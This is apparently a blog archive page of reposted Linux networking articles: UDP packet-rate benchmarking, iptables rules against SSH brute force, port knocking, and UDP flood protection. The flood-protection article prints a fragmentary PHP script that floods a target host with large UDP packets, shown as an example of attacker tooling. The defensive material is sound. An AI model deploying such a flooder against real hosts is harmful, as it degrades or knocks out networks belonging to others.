Articles taggués ‘attacks’

How to receive a million packets per second

19/04/2016 Comments off

receive million packetsLast week during a casual conversation I overheard a colleague saying: « The Linux network stack is slow! You can’t expect it to do more than 50 thousand packets per second per core! »

That got me thinking. While I agree that 50kpps per core is probably the limit for any practical application, what is the Linux networking stack capable of? Let’s rephrase that to make it more fun:

On Linux, how hard is it to write a program that receives 1 million UDP packets per second?

Hopefully, answering this question will be a good lesson about the design of a modern networking stack.

First, let us assume:

  • Measuring packets per second (pps) is much more interesting than measuring bytes per second (Bps). You can achieve high Bps by better pipelining and sending longer packets. Improving pps is much harder.
  • Since we’re interested in pps, our experiments will use short UDP messages. To be precise: 32 bytes of UDP payload. That means 74 bytes on the Ethernet layer.
  • For the experiments we will use two physical servers: « receiver » and « sender ».
  • They both have two six core 2GHz Xeon processors. With hyperthreading (HT) enabled that counts to 24 processors on each box. The boxes have a multi-queue 10G network card by Solarflare, with 11 receive queues configured. More on that later.
  • The source code of the test programs is available here: udpsender, udpreceiver.


Let’s use port 4321 for our UDP packets. Before we start we must ensure the traffic won’t be interfered with by the iptables:

receiver$ iptables -I INPUT 1 -p udp --dport 4321 -j ACCEPT  
receiver$ iptables -t raw -I PREROUTING 1 -p udp --dport 4321 -j NOTRACK  

A couple of explicitly defined IP addresses will later become handy:

receiver$ for i in `seq 1 20`; do   
              ip addr add 192.168.254.$i/24 dev eth2; 
sender$ ip addr add dev eth3  

1. The naive approach

To start let’s do the simplest experiment. How many packets will be delivered for a naive send and receive?

The sender pseudo code:

fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
fd.bind(("", 65400)) # select source port to reduce nondeterminism  
fd.connect(("", 4321))  
while True:  
    fd.sendmmsg(["x00" * 32] * 1024)

While we could have used the usual send syscall, it wouldn’t be efficient. Context switches to the kernel have a cost and it is be better to avoid it. Fortunately a handy syscall was recently added to Linux: sendmmsg. It allows us to send many packets in one go. Let’s do 1,024 packets at once.

The receiver pseudo code:

fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
fd.bind(("", 4321))  
while True:  
    packets = [None] * 1024
    fd.recvmmsg(packets, MSG_WAITFORONE)

Similarly, recvmmsg is a more efficient version of the common recv syscall.

Let’s try it out:

sender$ ./udpsender  
receiver$ ./udpreceiver1  
  0.352M pps  10.730MiB /  90.010Mb
  0.284M pps   8.655MiB /  72.603Mb
  0.262M pps   7.991MiB /  67.033Mb
  0.199M pps   6.081MiB /  51.013Mb
  0.195M pps   5.956MiB /  49.966Mb
  0.199M pps   6.060MiB /  50.836Mb
  0.200M pps   6.097MiB /  51.147Mb
  0.197M pps   6.021MiB /  50.509Mb

With the naive approach we can do between 197k and 350k pps. Not too bad. Unfortunately there is quite a bit of variability. It is caused by the kernel shuffling our programs between cores. Pinning the processes to CPUs will help:

sender$ taskset -c 1 ./udpsender  
receiver$ taskset -c 1 ./udpreceiver1  
  0.362M pps  11.058MiB /  92.760Mb
  0.374M pps  11.411MiB /  95.723Mb
  0.369M pps  11.252MiB /  94.389Mb
  0.370M pps  11.289MiB /  94.696Mb
  0.365M pps  11.152MiB /  93.552Mb
  0.360M pps  10.971MiB /  92.033Mb

Now, the kernel scheduler keeps the processes on the defined CPUs. This improves processor cache locality and makes the numbers more consistent, just what we wanted.

Lire la suite…

Preventing brute force attacks using iptables recent matching

15/04/2016 Comments off

General idea

brute force attacksIn recent times our network has seen a lot of attempts to brute-force ssh passwords. A method to hamper such attacks by blocking attacker’s IP addresses using iptables ‘recent’ matching is presented in this text:

When the amount of connection attempts from a certain IP address exceeds a defined threshold, this remote host is blacklisted and further incoming connection attempts are ignored. The host is only removed from the blacklist after it has been stopped connecting for a certain time.

Edit: The fail2ban scripts offer a more sophisticated (but also more heavy-weighted) solution for this problem.

Software requirements

Linux kernel and iptables with ‘recent’ patch. (It seems that this patch has entered the mainline some time ago. ‘Recent’ matching e.g. is known to be included with kernels 2.4.31 and 2.6.8 of Debian Sarge 4.0.)


We begin with empty tables…

iptables -F

and add all the chains that we will use:

iptables -N ssh
iptables -N blacklist

Setup blacklist chain

One chain to add the remote host to the blacklist, dropping the connection attempt:

iptables -A blacklist -m recent --name blacklist --set
iptables -A blacklist -j DROP

The duration that the host is blacklisted is controlled by the match in the ssh chain.

Setup ssh chain

In the ssh chain, incoming connections from blacklisted hosts are dropped. The use of --update implies that the timer for the duration of blacklisting (600 seconds) is restarted every time an offending packet is registered. (If this behaviour is not desired, --rcheckmay be used instead.)

iptables -A ssh -m recent --update --name blacklist --seconds 600 --hitcount 1 -j DROP

These rules are just for counting of incoming connections.

iptables -A ssh -m recent --set --name counting1
iptables -A ssh -m recent --set --name counting2
iptables -A ssh -m recent --set --name counting3
iptables -A ssh -m recent --set --name counting4

With the following rules, blacklisting is controlled using several rate limits. In this example, a host is blacklisted if it exceeds 2 connection attempts in 20 seconds, 14 in 200 seconds, 79 in 2000 seconds or 399 attempts in 20000 seconds.

iptables -A ssh -m recent --update --name counting1 --seconds 20 --hitcount 3 -j blacklist
iptables -A ssh -m recent --update --name counting2 --seconds 200 --hitcount 15 -j blacklist
iptables -A ssh -m recent --update --name counting3 --seconds 2000 --hitcount 80 -j blacklist
iptables -A ssh -m recent --update --name counting4 --seconds 20000 --hitcount 400 -j blacklist

The connection attempts that have survived this scrutiny are accepted:

iptables -A ssh -j ACCEPT

Lire la suite…

Code Snippet: iptables settings to prevent UDP abuse (flood protection)

04/03/2016 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
        $dt = (int)$_GET['t'];
  if($_GET['type'] == 'tcp')
    $posttype = 'tcp://';
    $posttype = 'udp://';
  $posttype = 'udp://';
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
                $fwriteFile = fwrite($sock, $out);
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP


Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP


Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

iptables recent module usage by example

02/03/2016 Comments off recent module usage by example

icmp check: 2 packets per 10 seconds – rcheck

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --rcheck --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

icmp check: 2 packets per 10 seconds – update

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --update --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds

iptables -F
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP 
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --set --name BRUTEFORCE -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds – separate chain

iptables -F
iptables -X
iptables -N BRUTECHECK
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j BRUTECHECK
iptables -A BRUTECHECK -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP
iptables -A BRUTECHECK -m recent --set --name BRUTEFORCE -j ACCEPT

SSH port knocking : tcp/1000 , tcp/2000

iptables -F
iptables -X
iptables -N KNOCK1
iptables -N KNOCK2
iptables -N OK

iptables -A KNOCK1 -m recent --set --name SEENFIRST
iptables -A KNOCK1 -m recent --remove --name KNOCKED
iptables -A KNOCK1 -j DROP

iptables -A KNOCK2 -m recent --rcheck --name SEENFIRST --seconds 5 -j OK
iptables -A KNOCK2 -m recent --remove --name SEENFIRST
iptables -A KNOCK2 -j DROP

iptables -A OK -m recent --set --name KNOCKED
iptables -A OK -j DROP

iptables -A INPUT -p tcp --dport ${N1} -j KNOCK1
iptables -A INPUT -p tcp --dport ${N2} -j KNOCK2
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --seconds 10 --rcheck --name KNOCKED -j ACCEPT
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j DROP

SSH port knocker script

KNOCKS="1000 2000"

for PORT in $KNOCKS; do
  echo "Knock: $PORT"
  telnet $HOST $PORT &> /dev/null &
  P=$(echo $!)
  echo "PID: ${P}"
  sleep 1
  kill -KILL ${P}
ssh -p${SSHPORT} ${HOST}

Source: Pejman Moghadam

Using Iptables to Block Brute Force Attacks

29/02/2016 Comments off

Source: MDLog:/sysadmin

We can use the iptables recent module to write some iptables rules that can block brute force attacks. In order to use this method you need a kernel and iptables installation that includesipt_recent. If your linux distribution doesn’t include the ipt_recent module or you are using a custom compiled kernel you might need to first include the iptables recent patch that can be found on the author’s website or in the iptables patch-o-matic area. If you are using Debian/Ubuntu you don’t need to do anything special as this is already included in your system.

Let’s see how we can use the iptables recent module to block brute force attacks agains ssh. Let’s see a simple example:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -m state **--state NEW** -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update **--seconds 300** **--hitcount 3** --name SSH -j DROP

This will basically allow only 3 NEW connections (as matched by the state NEW) in the timeframe of 300sec (5min). Any new connection will be automatically dropped.

The main disadvantage of using this method is that it will not make any distinction betweensuccessful and failed logins. If you are not careful and open too many connections yourself you might found yourself locked out. One walk-around for this issue is to whitelist our own administrative ips (still if we can do this for all the locations that need to connect to the system, then we can protect ourselves with simple firewall rules and we don’t need this added complexity). So at least for the hosts that we can (static ips) we should do this (replace with as many lines needed containing $WHITE_LIST_IP):

iptables -N SSHSCAN
** iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT**
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

Even if we lock ourselves out, our existing connections will remain up since we are matching only on NEW connections. If needed we can take appropriate actions.

In case we want to have the blocked hosts logged, then we will have to add another iptables rule:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j LOG --log-level info --log-prefix "SSH SCAN blocked: "
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

You can peek at the internal database kept by the module, by looking inside:/proc/net/ipt_recent/* (DEFAULT will contain default matches; in our example the name of the file is SSHSCAN):

cat /proc/net/ipt_recent/SSHSCAN

This solution is very effective and easy to implement. You just add the needed iptables rules to your existing firewall setup and you are set. Still, it has many limitations when compared with the other methods shown: like limited time frames, it will not differentiate against failed/successful logins, etc.